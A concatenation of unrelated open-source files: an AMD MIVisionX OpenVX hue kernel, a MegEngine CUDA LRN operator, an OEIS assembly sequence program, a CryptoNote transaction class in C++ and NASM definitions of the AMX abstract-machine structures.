/* Copyright (c) 2019 - 2020 Advanced Micro Devices, Inc. All rights reserved. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include "internal_publishKernels.h" struct HueLocalData { RPPCommonHandle handle; rppHandle_t rppHandle; RppiSize srcDimensions; Rpp32u device_type; RppPtr_t pSrc; RppPtr_t pDst; Rpp32f hueShift; #if ENABLE_OPENCL cl_mem cl_pSrc; cl_mem cl_pDst; #endif }; static vx_status VX_CALLBACK refreshHue(vx_node node, const vx_reference *parameters, vx_uint32 num, HueLocalData *data) { vx_status status = VX_SUCCESS; STATUS_ERROR_CHECK(vxQueryImage((vx_image)parameters[0], VX_IMAGE_HEIGHT, &data->srcDimensions.height, sizeof(data->srcDimensions.height))); STATUS_ERROR_CHECK(vxQueryImage((vx_image)parameters[0], VX_IMAGE_WIDTH, &data->srcDimensions.width, sizeof(data->srcDimensions.width))); STATUS_ERROR_CHECK(vxReadScalarValue((vx_scalar)parameters[2], &data->hueShift)); if(data->device_type == AGO_TARGET_AFFINITY_GPU) { #if ENABLE_OPENCL STATUS_ERROR_CHECK(vxQueryImage((vx_image)parameters[0], VX_IMAGE_ATTRIBUTE_AMD_OPENCL_BUFFER, &data->cl_pSrc, sizeof(data->cl_pSrc))); STATUS_ERROR_CHECK(vxQueryImage((vx_image)parameters[1], VX_IMAGE_ATTRIBUTE_AMD_OPENCL_BUFFER, &data->cl_pDst, sizeof(data->cl_pDst))); #endif } if(data->device_type == AGO_TARGET_AFFINITY_CPU) { STATUS_ERROR_CHECK(vxQueryImage((vx_image)parameters[0], VX_IMAGE_ATTRIBUTE_AMD_HOST_BUFFER, &data->pSrc, sizeof(vx_uint8))); STATUS_ERROR_CHECK(vxQueryImage((vx_image)parameters[1], VX_IMAGE_ATTRIBUTE_AMD_HOST_BUFFER, &data->pDst, sizeof(vx_uint8))); } return status; } static vx_status VX_CALLBACK validateHue(vx_node node, const vx_reference parameters[], vx_uint32 num, vx_meta_format metas[]) { vx_status status = VX_SUCCESS; vx_enum scalar_type; STATUS_ERROR_CHECK(vxQueryScalar((vx_scalar)parameters[2], VX_SCALAR_TYPE, &scalar_type, sizeof(scalar_type))); if(scalar_type != VX_TYPE_FLOAT32) return ERRMSG(VX_ERROR_INVALID_TYPE, "validate: Paramter: #2 type=%d (must be size)\n", scalar_type); STATUS_ERROR_CHECK(vxQueryScalar((vx_scalar)parameters[3], VX_SCALAR_TYPE, &scalar_type, sizeof(scalar_type))); if(scalar_type != VX_TYPE_UINT32) return ERRMSG(VX_ERROR_INVALID_TYPE, "validate: Paramter: #3 type=%d (must be size)\n", scalar_type); // Check for input parameters vx_parameter input_param; vx_image input; vx_df_image df_image; input_param = vxGetParameterByIndex(node,0); STATUS_ERROR_CHECK(vxQueryParameter(input_param, VX_PARAMETER_ATTRIBUTE_REF, &input, sizeof(vx_image))); STATUS_ERROR_CHECK(vxQueryImage(input, VX_IMAGE_ATTRIBUTE_FORMAT, &df_image, sizeof(df_image))); if(df_image != VX_DF_IMAGE_U8 && df_image != VX_DF_IMAGE_RGB) { return ERRMSG(VX_ERROR_INVALID_FORMAT, "validate: Hue: image: #0 format=%4.4s (must be RGB2 or U008)\n", (char *)&df_image); } // Check for output parameters vx_image output; vx_df_image format; vx_parameter output_param; vx_uint32 height, width; output_param = vxGetParameterByIndex(node,1); STATUS_ERROR_CHECK(vxQueryParameter(output_param, VX_PARAMETER_ATTRIBUTE_REF, &output, sizeof(vx_image))); STATUS_ERROR_CHECK(vxQueryImage(output, VX_IMAGE_ATTRIBUTE_WIDTH, &width, sizeof(width))); STATUS_ERROR_CHECK(vxQueryImage(output, VX_IMAGE_ATTRIBUTE_HEIGHT, &height, sizeof(height))); STATUS_ERROR_CHECK(vxSetMetaFormatAttribute(metas[1], VX_IMAGE_ATTRIBUTE_WIDTH, &width, sizeof(width))); STATUS_ERROR_CHECK(vxSetMetaFormatAttribute(metas[1], VX_IMAGE_ATTRIBUTE_HEIGHT, &height, sizeof(height))); STATUS_ERROR_CHECK(vxSetMetaFormatAttribute(metas[1], VX_IMAGE_ATTRIBUTE_FORMAT, &df_image, sizeof(df_image))); vxReleaseImage(&input); vxReleaseImage(&output); vxReleaseParameter(&output_param); vxReleaseParameter(&input_param); return status; } static vx_status VX_CALLBACK processHue(vx_node node, const vx_reference * parameters, vx_uint32 num) { RppStatus rpp_status = RPP_SUCCESS; vx_status return_status = VX_SUCCESS; HueLocalData * data = NULL; STATUS_ERROR_CHECK(vxQueryNode(node, VX_NODE_LOCAL_DATA_PTR, &data, sizeof(data))); vx_df_image df_image = VX_DF_IMAGE_VIRT; STATUS_ERROR_CHECK(vxQueryImage((vx_image)parameters[0], VX_IMAGE_ATTRIBUTE_FORMAT, &df_image, sizeof(df_image))); if(data->device_type == AGO_TARGET_AFFINITY_GPU) { #if ENABLE_OPENCL cl_command_queue handle = data->handle.cmdq; refreshHue(node, parameters, num, data); if (df_image == VX_DF_IMAGE_U8 ){ rpp_status = rppi_hueRGB_u8_pln1_gpu((void *)data->cl_pSrc,data->srcDimensions,(void *)data->cl_pDst,data->hueShift,data->rppHandle); } else if(df_image == VX_DF_IMAGE_RGB) { rpp_status = rppi_hueRGB_u8_pkd3_gpu((void *)data->cl_pSrc,data->srcDimensions,(void *)data->cl_pDst,data->hueShift,data->rppHandle); } return_status = (rpp_status == RPP_SUCCESS) ? VX_SUCCESS : VX_FAILURE; #endif } if(data->device_type == AGO_TARGET_AFFINITY_CPU) { refreshHue(node, parameters, num, data); if (df_image == VX_DF_IMAGE_U8 ){ rpp_status = rppi_hueRGB_u8_pln1_host(data->pSrc,data->srcDimensions,data->pDst,data->hueShift,data->rppHandle); } else if(df_image == VX_DF_IMAGE_RGB) { std::cout << "coming till mivisionx call- HueRGB" << std::endl; rpp_status = rppi_hueRGB_u8_pkd3_host(data->pSrc,data->srcDimensions,data->pDst,data->hueShift,data->rppHandle); } return_status = (rpp_status == RPP_SUCCESS) ? VX_SUCCESS : VX_FAILURE; } return return_status; } static vx_status VX_CALLBACK initializeHue(vx_node node, const vx_reference *parameters, vx_uint32 num) { HueLocalData * data = new HueLocalData; memset(data, 0, sizeof(*data)); #if ENABLE_OPENCL STATUS_ERROR_CHECK(vxQueryNode(node, VX_NODE_ATTRIBUTE_AMD_OPENCL_COMMAND_QUEUE, &data->handle.cmdq, sizeof(data->handle.cmdq))); #endif STATUS_ERROR_CHECK(vxCopyScalar((vx_scalar)parameters[3], &data->device_type, VX_READ_ONLY, VX_MEMORY_TYPE_HOST)); refreshHue(node, parameters, num, data); #if ENABLE_OPENCL if(data->device_type == AGO_TARGET_AFFINITY_GPU) rppCreateWithStream(&data->rppHandle, data->handle.cmdq); #endif if(data->device_type == AGO_TARGET_AFFINITY_CPU) rppCreateWithBatchSize(&data->rppHandle, 1); STATUS_ERROR_CHECK(vxSetNodeAttribute(node, VX_NODE_LOCAL_DATA_PTR, &data, sizeof(data))); return VX_SUCCESS; } static vx_status VX_CALLBACK uninitializeHue(vx_node node, const vx_reference *parameters, vx_uint32 num) { HueLocalData * data; STATUS_ERROR_CHECK(vxQueryNode(node, VX_NODE_LOCAL_DATA_PTR, &data, sizeof(data))); #if ENABLE_OPENCL if(data->device_type == AGO_TARGET_AFFINITY_GPU) rppDestroyGPU(data->rppHandle); #endif if(data->device_type == AGO_TARGET_AFFINITY_CPU) rppDestroyHost(data->rppHandle); delete(data); return VX_SUCCESS; } vx_status Hue_Register(vx_context context) { vx_status status = VX_SUCCESS; // Add kernel to the context with callbacks vx_kernel kernel = vxAddUserKernel(context, "org.rpp.Hue", VX_KERNEL_RPP_HUE, processHue, 4, validateHue, initializeHue, uninitializeHue); ERROR_CHECK_OBJECT(kernel); AgoTargetAffinityInfo affinity; vxQueryContext(context, VX_CONTEXT_ATTRIBUTE_AMD_AFFINITY,&affinity, sizeof(affinity)); #if ENABLE_OPENCL // enable OpenCL buffer access since the kernel_f callback uses OpenCL buffers instead of host accessible buffers vx_bool enableBufferAccess = vx_true_e; if(affinity.device_type == AGO_TARGET_AFFINITY_GPU) STATUS_ERROR_CHECK(vxSetKernelAttribute(kernel, VX_KERNEL_ATTRIBUTE_AMD_OPENCL_BUFFER_ACCESS_ENABLE, &enableBufferAccess, sizeof(enableBufferAccess))); #else vx_bool enableBufferAccess = vx_false_e; #endif if (kernel) { PARAM_ERROR_CHECK(vxAddParameterToKernel(kernel, 0, VX_INPUT, VX_TYPE_IMAGE, VX_PARAMETER_STATE_REQUIRED)); PARAM_ERROR_CHECK(vxAddParameterToKernel(kernel, 1, VX_OUTPUT, VX_TYPE_IMAGE, VX_PARAMETER_STATE_REQUIRED)); PARAM_ERROR_CHECK(vxAddParameterToKernel(kernel, 2, VX_INPUT, VX_TYPE_SCALAR, VX_PARAMETER_STATE_REQUIRED)); PARAM_ERROR_CHECK(vxAddParameterToKernel(kernel, 3, VX_INPUT, VX_TYPE_SCALAR, VX_PARAMETER_STATE_REQUIRED)); PARAM_ERROR_CHECK(vxFinalizeKernel(kernel)); } if (status != VX_SUCCESS) { exit: vxRemoveKernel(kernel); return VX_FAILURE; } return status; }
/** * \file dnn/src/cuda/lrn/opr_impl.cpp * MegEngine is Licensed under the Apache License, Version 2.0 (the "License") * * Copyright (c) 2014-2021 Megvii Inc. All rights reserved. * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ #include "src/cuda/lrn/opr_impl.h" #include "src/cuda/utils.h" namespace megdnn { namespace cuda { void LRNForwardImpl::setup_descs(const TensorLayout& src, const TensorLayout& dst) { src_desc.set(src); dst_desc.set(dst); lrn_desc.set(this->param()); } void LRNForwardImpl::exec( _megdnn_tensor_in src, _megdnn_tensor_out dst, _megdnn_workspace workspace) { check_exec(src.layout, dst.layout, workspace.size); auto handle = cudnn_handle(this->handle()); setup_descs(src.layout, dst.layout); float alpha = 1.0f, beta = 0.0f; cudnn_check(cudnnLRNCrossChannelForward( handle, lrn_desc.desc, CUDNN_LRN_CROSS_CHANNEL_DIM1, &alpha, src_desc.desc, src.raw_ptr, &beta, dst_desc.desc, dst.raw_ptr)); } void LRNBackwardImpl::setup_descs( const TensorLayout& src, const TensorLayout& dst, const TensorLayout& diff, const TensorLayout& grad) { src_desc.set(src); dst_desc.set(dst); diff_desc.set(diff); grad_desc.set(grad); lrn_desc.set(this->param()); } void LRNBackwardImpl::exec( _megdnn_tensor_in src, _megdnn_tensor_in dst, _megdnn_tensor_in diff, _megdnn_tensor_out grad, _megdnn_workspace workspace) { check_exec(src.layout, dst.layout, diff.layout, grad.layout, workspace.size); auto handle = cudnn_handle(this->handle()); setup_descs(src.layout, dst.layout, diff.layout, grad.layout); float alpha = 1.0f, beta = 0.0f; cudnn_check(cudnnLRNCrossChannelBackward( handle, lrn_desc.desc, CUDNN_LRN_CROSS_CHANNEL_DIM1, &alpha, dst_desc.desc, dst.raw_ptr, diff_desc.desc, diff.raw_ptr, src_desc.desc, src.raw_ptr, &beta, grad_desc.desc, grad.raw_ptr)); } } // namespace cuda } // namespace megdnn // vim: syntax=cpp.doxygen
; A192465: Constant term of the reduction by x^2->x+2 of the polynomial p(n,x)=1+x^n+x^(2n). ; Submitted by Jamie Morken(s3) ; 3,9,25,93,353,1389,5505,21933,87553,349869,1398785,5593773,22372353,89483949,357924865,1431677613,5726666753,22906579629,91626143745,366504225453,1466016202753,5864063412909,23456250855425,93824997829293 add $0,1 mov $2,2 pow $2,$0 mov $0,$2 mul $0,$2 add $2,5 add $0,$2 div $0,6 mul $0,2 add $0,1
// Copyright (c) 2011-2017 The Cryptonote developers // Copyright (c) 2017-2018 The Circle Foundation & invert Devs // Copyright (c) 2018-2019 invert Network & invert Devs // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "ITransaction.h" #include "TransactionApiExtra.h" #include "TransactionUtils.h" #include "Account.h" #include "CryptoNoteCore/CryptoNoteTools.h" #include "CryptoNoteConfig.h" #include <boost/optional.hpp> #include <numeric> #include <unordered_set> using namespace Crypto; namespace { using namespace CryptoNote; void derivePublicKey(const AccountPublicAddress& to, const SecretKey& txKey, size_t outputIndex, PublicKey& ephemeralKey) { KeyDerivation derivation; generate_key_derivation(to.viewPublicKey, txKey, derivation); derive_public_key(derivation, outputIndex, to.spendPublicKey, ephemeralKey); } } namespace CryptoNote { using namespace Crypto; //////////////////////////////////////////////////////////////////////// // class Transaction declaration //////////////////////////////////////////////////////////////////////// class TransactionImpl : public ITransaction { public: TransactionImpl(); TransactionImpl(const BinaryArray& txblob); TransactionImpl(const CryptoNote::Transaction& tx); // ITransactionReader virtual Hash getTransactionHash() const override; virtual Hash getTransactionPrefixHash() const override; virtual Hash getTransactionInputsHash() const override; virtual PublicKey getTransactionPublicKey() const override; virtual uint64_t getUnlockTime() const override; virtual bool getPaymentId(Hash& hash) const override; virtual bool getExtraNonce(BinaryArray& nonce) const override; virtual BinaryArray getExtra() const override; // inputs virtual size_t getInputCount() const override; virtual uint64_t getInputTotalAmount() const override; virtual TransactionTypes::InputType getInputType(size_t index) const override; virtual void getInput(size_t index, KeyInput& input) const override; virtual void getInput(size_t index, MultisignatureInput& input) const override; virtual std::vector<TransactionInput> getInputs() const override; // outputs virtual size_t getOutputCount() const override; virtual uint64_t getOutputTotalAmount() const override; virtual TransactionTypes::OutputType getOutputType(size_t index) const override; virtual void getOutput(size_t index, KeyOutput& output, uint64_t& amount) const override; virtual void getOutput(size_t index, MultisignatureOutput& output, uint64_t& amount) const override; virtual size_t getRequiredSignaturesCount(size_t index) const override; virtual bool findOutputsToAccount(const AccountPublicAddress& addr, const SecretKey& viewSecretKey, std::vector<uint32_t>& outs, uint64_t& outputAmount) const override; // various checks virtual bool validateInputs() const override; virtual bool validateOutputs() const override; virtual bool validateSignatures() const override; // get serialized transaction virtual BinaryArray getTransactionData() const override; TransactionPrefix getTransactionPrefix() const override; // ITransactionWriter virtual void setUnlockTime(uint64_t unlockTime) override; virtual void setPaymentId(const Hash& hash) override; virtual void setExtraNonce(const BinaryArray& nonce) override; virtual void appendExtra(const BinaryArray& extraData) override; // Inputs/Outputs virtual size_t addInput(const KeyInput& input) override; virtual size_t addInput(const MultisignatureInput& input) override; virtual size_t addInput(const AccountKeys& senderKeys, const TransactionTypes::InputKeyInfo& info, KeyPair& ephKeys) override; virtual size_t addOutput(uint64_t amount, const AccountPublicAddress& to) override; virtual size_t addOutput(uint64_t amount, const std::vector<AccountPublicAddress>& to, uint32_t requiredSignatures, uint32_t term = 0) override; virtual size_t addOutput(uint64_t amount, const KeyOutput& out) override; virtual size_t addOutput(uint64_t amount, const MultisignatureOutput& out) override; virtual void signInputKey(size_t input, const TransactionTypes::InputKeyInfo& info, const KeyPair& ephKeys) override; virtual void signInputMultisignature(size_t input, const PublicKey& sourceTransactionKey, size_t outputIndex, const AccountKeys& accountKeys) override; virtual void signInputMultisignature(size_t input, const KeyPair& ephemeralKeys) override; // secret key virtual bool getTransactionSecretKey(SecretKey& key) const override; virtual void setTransactionSecretKey(const SecretKey& key) override; private: void invalidateHash(); std::vector<Signature>& getSignatures(size_t input); const SecretKey& txSecretKey() const { if (!secretKey) { throw std::runtime_error("Operation requires transaction secret key"); } return *secretKey; } void checkIfSigning() const { if (!transaction.signatures.empty()) { throw std::runtime_error("Cannot perform requested operation, since it will invalidate transaction signatures"); } } CryptoNote::Transaction transaction; boost::optional<SecretKey> secretKey; mutable boost::optional<Hash> transactionHash; TransactionExtra extra; }; //////////////////////////////////////////////////////////////////////// // class Transaction implementation //////////////////////////////////////////////////////////////////////// std::unique_ptr<ITransaction> createTransaction() { return std::unique_ptr<ITransaction>(new TransactionImpl()); } std::unique_ptr<ITransaction> createTransaction(const BinaryArray& transactionBlob) { return std::unique_ptr<ITransaction>(new TransactionImpl(transactionBlob)); } std::unique_ptr<ITransaction> createTransaction(const CryptoNote::Transaction& tx) { return std::unique_ptr<ITransaction>(new TransactionImpl(tx)); } TransactionImpl::TransactionImpl() { CryptoNote::KeyPair txKeys(CryptoNote::generateKeyPair()); TransactionExtraPublicKey pk = { txKeys.publicKey }; extra.set(pk); transaction.version = TRANSACTION_VERSION_1; transaction.unlockTime = 0; transaction.extra = extra.serialize(); secretKey = txKeys.secretKey; } TransactionImpl::TransactionImpl(const BinaryArray& ba) { if (!fromBinaryArray(transaction, ba)) { throw std::runtime_error("Invalid transaction data"); } extra.parse(transaction.extra); transactionHash = getBinaryArrayHash(ba); // avoid serialization if we already have blob } TransactionImpl::TransactionImpl(const CryptoNote::Transaction& tx) : transaction(tx) { extra.parse(transaction.extra); } void TransactionImpl::invalidateHash() { if (transactionHash.is_initialized()) { transactionHash = decltype(transactionHash)(); } } Hash TransactionImpl::getTransactionHash() const { if (!transactionHash.is_initialized()) { transactionHash = getObjectHash(transaction); } return transactionHash.get(); } Hash TransactionImpl::getTransactionPrefixHash() const { return getObjectHash(*static_cast<const TransactionPrefix*>(&transaction)); } PublicKey TransactionImpl::getTransactionPublicKey() const { PublicKey pk(NULL_PUBLIC_KEY); extra.getPublicKey(pk); return pk; } uint64_t TransactionImpl::getUnlockTime() const { return transaction.unlockTime; } void TransactionImpl::setUnlockTime(uint64_t unlockTime) { checkIfSigning(); transaction.unlockTime = unlockTime; invalidateHash(); } Hash TransactionImpl::getTransactionInputsHash() const { return getObjectHash(transaction.inputs); } bool TransactionImpl::getTransactionSecretKey(SecretKey& key) const { if (!secretKey) { return false; } key = reinterpret_cast<const SecretKey&>(secretKey.get()); return true; } void TransactionImpl::setTransactionSecretKey(const SecretKey& key) { const auto& sk = reinterpret_cast<const SecretKey&>(key); PublicKey pk; PublicKey txPubKey; secret_key_to_public_key(sk, pk); extra.getPublicKey(txPubKey); if (txPubKey != pk) { throw std::runtime_error("Secret transaction key does not match public key"); } secretKey = key; } size_t TransactionImpl::addInput(const KeyInput& input) { checkIfSigning(); transaction.inputs.emplace_back(input); invalidateHash(); return transaction.inputs.size() - 1; } size_t TransactionImpl::addInput(const AccountKeys& senderKeys, const TransactionTypes::InputKeyInfo& info, KeyPair& ephKeys) { checkIfSigning(); KeyInput input; input.amount = info.amount; generate_key_image_helper( senderKeys, info.realOutput.transactionPublicKey, info.realOutput.outputInTransaction, ephKeys, input.keyImage); // fill outputs array and use relative offsets for (const auto& out : info.outputs) { input.outputIndexes.push_back(out.outputIndex); } input.outputIndexes = absolute_output_offsets_to_relative(input.outputIndexes); return addInput(input); } size_t TransactionImpl::addInput(const MultisignatureInput& input) { checkIfSigning(); transaction.inputs.push_back(input); transaction.version = TRANSACTION_VERSION_2; invalidateHash(); return transaction.inputs.size() - 1; } size_t TransactionImpl::addOutput(uint64_t amount, const AccountPublicAddress& to) { checkIfSigning(); KeyOutput outKey; derivePublicKey(to, txSecretKey(), transaction.outputs.size(), outKey.key); TransactionOutput out = { amount, outKey }; transaction.outputs.emplace_back(out); invalidateHash(); return transaction.outputs.size() - 1; } size_t TransactionImpl::addOutput(uint64_t amount, const std::vector<AccountPublicAddress>& to, uint32_t requiredSignatures, uint32_t term) { checkIfSigning(); const auto& txKey = txSecretKey(); size_t outputIndex = transaction.outputs.size(); MultisignatureOutput outMsig; outMsig.requiredSignatureCount = requiredSignatures; outMsig.keys.resize(to.size()); outMsig.term = term; for (size_t i = 0; i < to.size(); ++i) { derivePublicKey(to[i], txKey, outputIndex, outMsig.keys[i]); } TransactionOutput out = { amount, outMsig }; transaction.outputs.emplace_back(out); transaction.version = TRANSACTION_VERSION_2; invalidateHash(); return outputIndex; } size_t TransactionImpl::addOutput(uint64_t amount, const KeyOutput& out) { checkIfSigning(); size_t outputIndex = transaction.outputs.size(); TransactionOutput realOut = { amount, out }; transaction.outputs.emplace_back(realOut); invalidateHash(); return outputIndex; } size_t TransactionImpl::addOutput(uint64_t amount, const MultisignatureOutput& out) { checkIfSigning(); size_t outputIndex = transaction.outputs.size(); TransactionOutput realOut = { amount, out }; transaction.outputs.emplace_back(realOut); invalidateHash(); return outputIndex; } void TransactionImpl::signInputKey(size_t index, const TransactionTypes::InputKeyInfo& info, const KeyPair& ephKeys) { const auto& input = boost::get<KeyInput>(getInputChecked(transaction, index, TransactionTypes::InputType::Key)); Hash prefixHash = getTransactionPrefixHash(); std::vector<Signature> signatures; std::vector<const PublicKey*> keysPtrs; for (const auto& o : info.outputs) { keysPtrs.push_back(reinterpret_cast<const PublicKey*>(&o.targetKey)); } signatures.resize(keysPtrs.size()); generate_ring_signature( reinterpret_cast<const Hash&>(prefixHash), reinterpret_cast<const KeyImage&>(input.keyImage), keysPtrs, reinterpret_cast<const SecretKey&>(ephKeys.secretKey), info.realOutput.transactionIndex, signatures.data()); getSignatures(index) = signatures; invalidateHash(); } void TransactionImpl::signInputMultisignature(size_t index, const PublicKey& sourceTransactionKey, size_t outputIndex, const AccountKeys& accountKeys) { KeyDerivation derivation; PublicKey ephemeralPublicKey; SecretKey ephemeralSecretKey; generate_key_derivation( reinterpret_cast<const PublicKey&>(sourceTransactionKey), reinterpret_cast<const SecretKey&>(accountKeys.viewSecretKey), derivation); derive_public_key(derivation, outputIndex, reinterpret_cast<const PublicKey&>(accountKeys.address.spendPublicKey), ephemeralPublicKey); derive_secret_key(derivation, outputIndex, reinterpret_cast<const SecretKey&>(accountKeys.spendSecretKey), ephemeralSecretKey); Signature signature; auto txPrefixHash = getTransactionPrefixHash(); generate_signature(reinterpret_cast<const Hash&>(txPrefixHash), ephemeralPublicKey, ephemeralSecretKey, signature); getSignatures(index).push_back(signature); invalidateHash(); } void TransactionImpl::signInputMultisignature(size_t index, const KeyPair& ephemeralKeys) { Signature signature; auto txPrefixHash = getTransactionPrefixHash(); generate_signature(txPrefixHash, ephemeralKeys.publicKey, ephemeralKeys.secretKey, signature); getSignatures(index).push_back(signature); invalidateHash(); } std::vector<Signature>& TransactionImpl::getSignatures(size_t input) { // update signatures container size if needed if (transaction.signatures.size() < transaction.inputs.size()) { transaction.signatures.resize(transaction.inputs.size()); } // check range if (input >= transaction.signatures.size()) { throw std::runtime_error("Invalid input index"); } return transaction.signatures[input]; } BinaryArray TransactionImpl::getTransactionData() const { return toBinaryArray(transaction); } TransactionPrefix TransactionImpl::getTransactionPrefix() const { return transaction; } void TransactionImpl::setPaymentId(const Hash& hash) { checkIfSigning(); BinaryArray paymentIdBlob; setPaymentIdToTransactionExtraNonce(paymentIdBlob, reinterpret_cast<const Hash&>(hash)); setExtraNonce(paymentIdBlob); } bool TransactionImpl::getPaymentId(Hash& hash) const { BinaryArray nonce; if (getExtraNonce(nonce)) { Hash paymentId; if (getPaymentIdFromTransactionExtraNonce(nonce, paymentId)) { hash = reinterpret_cast<const Hash&>(paymentId); return true; } } return false; } void TransactionImpl::setExtraNonce(const BinaryArray& nonce) { checkIfSigning(); TransactionExtraNonce extraNonce = { nonce }; extra.set(extraNonce); transaction.extra = extra.serialize(); invalidateHash(); } void TransactionImpl::appendExtra(const BinaryArray& extraData) { checkIfSigning(); transaction.extra.insert( transaction.extra.end(), extraData.begin(), extraData.end()); } bool TransactionImpl::getExtraNonce(BinaryArray& nonce) const { TransactionExtraNonce extraNonce; if (extra.get(extraNonce)) { nonce = extraNonce.nonce; return true; } return false; } BinaryArray TransactionImpl::getExtra() const { return transaction.extra; } size_t TransactionImpl::getInputCount() const { return transaction.inputs.size(); } uint64_t TransactionImpl::getInputTotalAmount() const { return std::accumulate(transaction.inputs.begin(), transaction.inputs.end(), 0ULL, [](uint64_t val, const TransactionInput& in) { return val + getTransactionInputAmount(in); }); } TransactionTypes::InputType TransactionImpl::getInputType(size_t index) const { return getTransactionInputType(getInputChecked(transaction, index)); } void TransactionImpl::getInput(size_t index, KeyInput& input) const { input = boost::get<KeyInput>(getInputChecked(transaction, index, TransactionTypes::InputType::Key)); } void TransactionImpl::getInput(size_t index, MultisignatureInput& input) const { input = boost::get<MultisignatureInput>(getInputChecked(transaction, index, TransactionTypes::InputType::Multisignature)); } size_t TransactionImpl::getOutputCount() const { return transaction.outputs.size(); } std::vector<TransactionInput> TransactionImpl::getInputs() const { return transaction.inputs; } uint64_t TransactionImpl::getOutputTotalAmount() const { return std::accumulate(transaction.outputs.begin(), transaction.outputs.end(), 0ULL, [](uint64_t val, const TransactionOutput& out) { return val + out.amount; }); } TransactionTypes::OutputType TransactionImpl::getOutputType(size_t index) const { return getTransactionOutputType(getOutputChecked(transaction, index).target); } void TransactionImpl::getOutput(size_t index, KeyOutput& output, uint64_t& amount) const { const auto& out = getOutputChecked(transaction, index, TransactionTypes::OutputType::Key); output = boost::get<KeyOutput>(out.target); amount = out.amount; } void TransactionImpl::getOutput(size_t index, MultisignatureOutput& output, uint64_t& amount) const { const auto& out = getOutputChecked(transaction, index, TransactionTypes::OutputType::Multisignature); output = boost::get<MultisignatureOutput>(out.target); amount = out.amount; } bool TransactionImpl::findOutputsToAccount(const AccountPublicAddress& addr, const SecretKey& viewSecretKey, std::vector<uint32_t>& out, uint64_t& amount) const { return ::CryptoNote::findOutputsToAccount(transaction, addr, viewSecretKey, out, amount); } size_t TransactionImpl::getRequiredSignaturesCount(size_t index) const { return ::getRequiredSignaturesCount(getInputChecked(transaction, index)); } bool TransactionImpl::validateInputs() const { return check_inputs_types_supported(transaction) && check_inputs_overflow(transaction) && checkInputsKeyimagesDiff(transaction) && checkMultisignatureInputsDiff(transaction); } bool TransactionImpl::validateOutputs() const { return check_outs_valid(transaction) && check_outs_overflow(transaction); } bool TransactionImpl::validateSignatures() const { if (transaction.signatures.size() < transaction.inputs.size()) { return false; } for (size_t i = 0; i < transaction.inputs.size(); ++i) { if (getRequiredSignaturesCount(i) > transaction.signatures[i].size()) { return false; } } return true; } }
; Definition of the AMX structure for assembler syntax (NASM) struc amx_s _base: resd 1 _codeseg: resd 1 _dataseg: resd 1 _callback: resd 1 _debug: resd 1 _overlay: resd 1 _cip: resd 1 _frm: resd 1 _hea: resd 1 _hlw: resd 1 _stk: resd 1 _stp: resd 1 _flags: resd 1 _usertags: resd 4 ; 4 = AMX_USERNUM (#define'd in amx.h) _userdata: resd 4 ; 4 = AMX_USERNUM (#define'd in amx.h) _error: resd 1 _paramcount: resd 1 _pri: resd 1 _alt: resd 1 _reset_stk: resd 1 _reset_hea: resd 1 _syscall_d: resd 1 _ovl_index: resd 1 _codesize: resd 1 ; memory size of the overlay or of the native code %ifdef JIT ; the two fields below are for the JIT; they do not exist in ; the non-JIT version of the abstract machine _reloc_size: resd 1 ; memory block for relocations %endif endstruc struc amxhead_s _size: resd 1 ; size of the "file" _magic: resw 1 ; signature _file_version: resb 1; file format version _amx_version: resb 1 ; required version of the AMX _h_flags: resw 1 _defsize: resw 1 ; size of one public/native function entry _cod: resd 1 ; initial value of COD - code block _dat: resd 1 ; initial value of DAT - data block _h_hea: resd 1 ; initial value of HEA - start of the heap _h_stp: resd 1 ; initial value of STP - stack top _h_cip: resd 1 ; initial value of CIP - the instruction pointer _publics: resd 1 ; offset to the "public functions" table _natives: resd 1 ; offset to the "native functions" table _libraries: resd 1 ; offset to the "library" table _pubvars: resd 1 ; offset to the "public variables" table _tags: resd 1 ; offset to the "public tagnames" table _nametable: resd 1 ; offset to the name table, file version 7+ only _overlaytbl: resd 1 ; offset to the overlay table, file version 10+ only endstruc AMX_ERR_NONE EQU 0 AMX_ERR_EXIT EQU 1 AMX_ERR_ASSERT EQU 2 AMX_ERR_STACKERR EQU 3 AMX_ERR_BOUNDS EQU 4 AMX_ERR_MEMACCESS EQU 5 AMX_ERR_INVINSTR EQU 6 AMX_ERR_STACKLOW EQU 7 AMX_ERR_HEAPLOW EQU 8 AMX_ERR_CALLBACK EQU 9 AMX_ERR_NATIVE EQU 10 AMX_ERR_DIVIDE EQU 11 ; for catching divide errors AMX_ERR_SLEEP EQU 12 AMX_ERR_MEMORY EQU 16 AMX_ERR_FORMAT EQU 17 AMX_ERR_VERSION EQU 18 AMX_ERR_NOTFOUND EQU 19 AMX_ERR_INDEX EQU 20 AMX_ERR_DEBUG EQU 21 AMX_ERR_INIT EQU 22 AMX_ERR_USERDATA EQU 23 AMX_ERR_INIT_JIT EQU 24 AMX_ERR_PARAMS EQU 25 AMX_ERR_DOMAIN EQU 26 AMX_ERR_GENERAL EQU 27 AMX_FLAG_DEBUG EQU 0002h ; symbolic info. available AMX_FLAG_COMPACT EQU 0004h AMX_FLAG_BYTEOPC EQU 0008h AMX_FLAG_NOCHECKS EQU 0010h AMX_FLAG_BROWSE EQU 4000h AMX_FLAG_RELOC EQU 8000h ; jump/call addresses relocated
